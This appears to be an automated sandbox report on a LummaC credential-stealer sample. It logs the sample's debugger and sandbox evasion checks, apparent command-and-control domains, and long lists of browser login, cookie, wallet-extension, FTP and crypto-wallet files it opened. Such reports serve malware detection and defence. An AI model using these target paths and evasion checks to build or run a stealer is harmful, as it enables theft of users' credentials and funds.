Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2590264417.000000000681E000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583259448.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2582469927.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: faintbl0w.sbs
Source: file.exe, 00000000.00000002.2582469927.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 300snails.sbs
Source: file.exe, 00000000.00000002.2582469927.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: file.exe, 00000000.00000002.2582469927.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thicktoys.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2583670842.0000000000F49000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: PProgram Manager
Source: file.exe, 00000000.00000002.2590264417.000000000681E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: n3Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2356240072.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2356090915.0000000005E17000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2482809580.000000000179F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ppdata%\\Electrum\\w
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.2482809580.000000000179F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ata%\\Exodus\\exodus.wallet","m":["*
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2482809580.000000000179F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":0,"p":"%appdata%\\Ethereum","m
Source: file.exe, 00000000.00000003.2339662743.000000000178E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2339662743.000000000178E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
